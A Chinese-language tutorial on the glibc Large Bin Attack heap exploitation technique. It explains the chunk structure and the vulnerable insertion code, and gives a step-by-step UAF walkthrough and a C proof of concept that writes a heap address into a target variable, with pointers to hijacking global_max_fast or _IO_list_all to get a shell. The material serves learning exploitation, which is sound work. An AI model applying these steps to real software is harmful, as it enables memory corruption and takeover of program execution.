欢迎光临
我们一直在努力

Large Bin Attack

学习 Large Bin Attack,最重要的一点是不要被它的名字吓倒。虽然它属于高级的堆利用技巧,但它的本质其实非常简单:利用 glibc 在维护“有序双向链表”时,缺乏足够的安全检查,从而让我们能在一个任意的内存地址里,写入一个堆地址。

我们先抛开复杂的代码,从 Large Bin 这个“仓库”的特殊结构说起。


第一步:理解 Large Bin 的特殊结构

在你之前接触的 Fastbin 或 Unsorted Bin 中,一个释放的内存块(Chunk)只有两个指针:fd(指向下一个块)和 bk(指向上一个块)。它们构成的是普通链表。

但是,Large Bin 存放的是大于 1024 字节(64位系统下)的大内存块。为了在分配时能快速找到合适大小的块,glibc 对 Large Bin 做了两件事:

  • 按大小排序:最大的 Chunk 放在链表头,最小的放在链表尾。
  • 增加了两个指针:为了加快搜索速度,相同大小的 Chunk 会被归为一组。每组的第一个 Chunk,除了有 fd 和 bk,还多了两个指针:fd_nextsize 和 bk_nextsize。
  • 一个完整的 Large Bin Chunk 结构长这样:

    struct malloc_chunk {
    INTERNAL_SIZE_T mchunk_prev_size; // 前一个chunk的大小
    INTERNAL_SIZE_T mchunk_size; // 当前chunk的大小
    struct malloc_chunk* fd; // 物理相邻的下一个chunk
    struct malloc_chunk* bk; // 物理相邻的上一个chunk

    // 只有 Large Bin 才用到的两个指针:
    struct malloc_chunk* fd_nextsize; // 指向比当前组稍微小一点的那个组的首个chunk
    struct malloc_chunk* bk_nextsize; // 指向比当前组稍微大一点的那个组的首个chunk
    };

    关键点:fd_nextsize 和 bk_nextsize 构成了一个跳表,用来在不同大小的 Chunk 之间快速跳转。Large Bin Attack 的核心,就是伪造 bk_nextsize 或 bk 指针。


    第二步:攻击的触发原理(解剖 glibc 源码)

    什么时候会触发 Large Bin Attack?
    答案是:当一个 Chunk 从 Unsorted Bin 被放入 Large Bin 时。

    当你调用 malloc 申请内存时,glibc 会遍历 Unsorted Bin。如果发现里面的 Chunk 大小不满足你的要求,就会把它“分类”放到对应的 Bin 中。如果这个 Chunk 很大,就会被塞进 Large Bin,并且按照大小插入到合适的位置。

    在 glibc 源码中,插入 Large Bin 的操作有这样一段逻辑(这里简化了代码,只保留致命部分):

    假设 victim 是我们正要插入的 Chunk,fwd 是链表中已经存在的、大小比 victim 大的 Chunk。

    // 1. 设置 victim 的 nextsize 指针
    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;

    // 2. 更新原有链表的 nextsize 指针
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim; // <—- 【致命漏洞就在这里!】

    **仔细看最后一行代码:victim->bk_nextsize->fd_nextsize = victim;**

    如果你能利用某种漏洞(比如 Use-After-Free,UAF),在 victim 被插入前,修改了原本躺在 Large Bin 里的那个 fwd 的 bk_nextsize 指针,会发生什么?

    假设我们把 fwd->bk_nextsize 篡改成 Target_Address – 0x20:

  • 根据代码第一段,victim->bk_nextsize 变成了 Target_Address – 0x20。
  • 运行到最后一行时,glibc 实际上执行的是:
    (Target_Address – 0x20)->fd_nextsize = victim
  • 在 Chunk 结构中,fd_nextsize 的偏移量刚好是 0x20。
  • 于是,代码就变成了:
    Target_Address = victim
  • 恭喜!你成功地在 Target_Address 这个任意地址,写入了 victim 的堆地址! 这就是 Large Bin Attack 的终极奥义。


    第三步:手把手实战推演

    我们用一个具体的场景来走一遍攻击流程。假设现在你有一个 UAF 漏洞,可以修改已经被释放的 Chunk 的内容。

    环境准备:
    你需要伪造出一种特定的堆布局。

  • malloc(0x400) 得到 Chunk A。
  • malloc(0x20) 得到 Chunk 隔离(防止与后面的合并)。
  • malloc(0x420) 得到 Chunk B (比 A 稍微大一点)。
  • malloc(0x20) 得到 Chunk 隔离。
  • 攻击步骤:

  • 把 B 放入 Large Bin:
    释放 B(进入 Unsorted Bin)。然后申请一个比 B 还大的块,比如 malloc(0x500)。这时,glibc 发现 Unsorted Bin 里的 B 不够大,就会把它转移到 Large Bin 中。
    此时,Large Bin:[ Chunk B ]
  • 释放 A 并利用 UAF 篡改 B:
    释放 A,A 会进入 Unsorted Bin。
    关键动作:利用你的 UAF 漏洞,修改躺在 Large Bin 里的 Chunk B 的 bk_nextsize 指针,将其覆盖为你想要攻击的目标地址减去 0x20(即 Target_Address – 0x20)。
  • 触发漏洞(将 A 插入 Large Bin):
    再次申请一个极大的块,比如 malloc(0x500)。
    glibc 发现 Unsorted Bin 里的 A 也不够大,于是也要把 A 转移到 Large Bin 里。
    glibc 开始排序:发现 A (0x400) 比 B (0x420) 小,决定把 A 插入到 B 的后面。
  • 漏洞爆发:
    glibc 乖乖地执行我们上面提到的那段致命代码:
    A->bk_nextsize->fd_nextsize = A
    也就是:
    Target_Address = A的堆地址

  • 第四步:我们能用它来做什么?

    你可能会问:“我费了半天劲,只能往任意地址写入一个堆的地址,又不能写我自定义的数据(比如 system 函数),这有什么用?”

    这正是 Large Bin Attack 的精妙之处。它通常不作为最后的绝杀,而是作为破局的跳板。最经典的用法是:

    • 劫持 global_max_fast 变量:
      global_max_fast 是 glibc 中的一个全局变量,用来限制 Fastbin 的最大尺寸(默认通常是 0x80)。
      你可以把 Target_Address 设为 global_max_fast。攻击完成后,global_max_fast 会被覆盖成一个巨大的堆地址(比如 0x55xxxxxx)。
      从此之后,任何大小的 Chunk 释放后都会被当作 Fastbin 处理! 然后你就可以愉快地使用非常简单的 Fastbin Attack 来申请任意内存、修改 Got 表、拿到 Shell 了。

     

     

    例子

    这是一段经典的 C 语言概念验证代码(PoC)。通过这段代码,你可以直观地看到我们是如何利用 UAF(Use-After-Free)漏洞,将一个堆地址写入栈上的局部变量 target 中的。

    #include <stdio.h>
    #include <stdlib.h>

    int main() {
    // 我们的攻击目标:将一个堆地址写入这个普通的局部变量中
    size_t target = 0;

    printf("攻击前 target 的值: 0x%zx\\n", target);
    printf("target 变量的内存地址: %p\\n", &target);

    // ====================================================================
    // 第一步:布局堆内存
    // ====================================================================
    // 分配一个较大的 Chunk A (0x420)
    size_t *p1 = malloc(0x420);
    // 分配一个隔离块,防止 Chunk A 和 Chunk B 在释放时物理合并
    malloc(0x20);

    // 分配一个稍小的 Chunk B (0x400)
    size_t *p2 = malloc(0x400);
    // 再次分配隔离块,防止 Chunk B 与 Top Chunk 合并
    malloc(0x20);

    // ====================================================================
    // 第二步:将 Chunk A 送入 Large Bin
    // ====================================================================
    free(p1); // p1 释放后首先进入 Unsorted Bin
    malloc(0x500); // 申请一个更大的块。glibc 遍历 Unsorted Bin 发现 p1 不够大,
    // 于是将其归类放入 Large Bin。

    // ====================================================================
    // 第三步:释放 Chunk B,准备触发漏洞
    // ====================================================================
    free(p2); // p2 释放后进入 Unsorted Bin

    // ====================================================================
    // 第四步:漏洞介入(利用 UAF 篡改指针)
    // ====================================================================
    // 假设程序存在 UAF 漏洞,允许我们修改已经释放且躺在 Large Bin 里的 p1
    // malloc 返回的用户态指针,其索引偏移如下:
    // p1[0] -> fd
    // p1[1] -> bk
    // p1[2] -> fd_nextsize
    // p1[3] -> bk_nextsize

    // 我们将 p1 的 bk_nextsize 篡改为 target 地址减去 0x20
    p1[3] = (size_t)&target – 0x20;

    // ====================================================================
    // 第五步:引爆漏洞
    // ====================================================================
    // 再次申请大内存。glibc 遍历 Unsorted Bin,发现 p2 也不够大。
    // 它试图将 p2 插入到 Large Bin 中 p1 的后面。
    // 此时触发致命逻辑:p1->bk_nextsize->fd_nextsize = p2
    // 翻译过来就是:(&target – 0x20 + 0x20) = p2 的 Chunk 头地址
    malloc(0x500);

    // ====================================================================
    // 验证结果
    // ====================================================================
    printf("\\n攻击后 target 的值: 0x%zx\\n", target);

    // 计算 p2 的 Chunk 头地址 (用户态指针减去 0x10 的头部大小)
    printf("p2 Chunk 头的真实地址: %p\\n", (void*)((char*)p2 – 0x10));

    return 0;
    }

    核心偏移量解剖:为什么是 – 0x20?

    在 64 位系统中,内存对齐和结构体大小是固定的。这里是新手最容易卡住的地方,我们拆解一下 glibc 计算地址的过程:

  • Chunk 头部的物理结构:
    • prev_size (8 bytes,偏移 0x00)
    • size (8 bytes,偏移 0x08)
    • fd (8 bytes,偏移 0x10)
    • bk (8 bytes,偏移 0x18)
    • fd_nextsize (8 bytes,偏移 0x20)
    • bk_nextsize (8 bytes,偏移 0x28)

     

  • glibc 的执行视角:
    当 glibc 执行到 victim->bk_nextsize->fd_nextsize = victim; 时,它在底层其实做的是指针加法计算。
    它读取了你伪造的 bk_nextsize 的地址,然后强制往后偏移 0x20 个字节(也就是 fd_nextsize 所在的位置),把 victim(也就是 p2)的地址写进去。
  • 你的攻击视角:
    你希望 victim 的地址精准落入 target 变量中。
    如果你直接写 p1[3] = &target,glibc 会把地址写到 &target + 0x20 的地方,这就写偏了。
    所以你要提前减去 0x20 补偿这个偏移:p1[3] = &target – 0x20。
    这样 glibc 的操作就变成了:(&target – 0x20) + 0x20 = &target。
  • 终端运行效果预期

    编译并运行这段代码,你会看到类似如下的输出(由于 ASLR,每次运行地址会变,但相对逻辑是不变的):

    攻击前 target 的值: 0x0
    target 变量的内存地址: 0x7ffd5a98b2c8

    攻击后 target 的值: 0x55982c7a06a0
    p2 Chunk 头的真实地址: 0x55982c7a06a0

    可以看到,target 原本是一个毫无威胁的 0,但在经过一次合法的 malloc(0x500) 操作后,它被 glibc 内部的链表维护机制强行写入了 p2 的堆地址。如果在实际的漏洞挖掘中,你将 target 替换为 global_max_fast 或者 _IO_list_all 等关键的系统底层变量,就正式掌控了程序的执行流。

     

    赞(0)
    未经允许不得转载:171主机测评 » Large Bin Attack
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址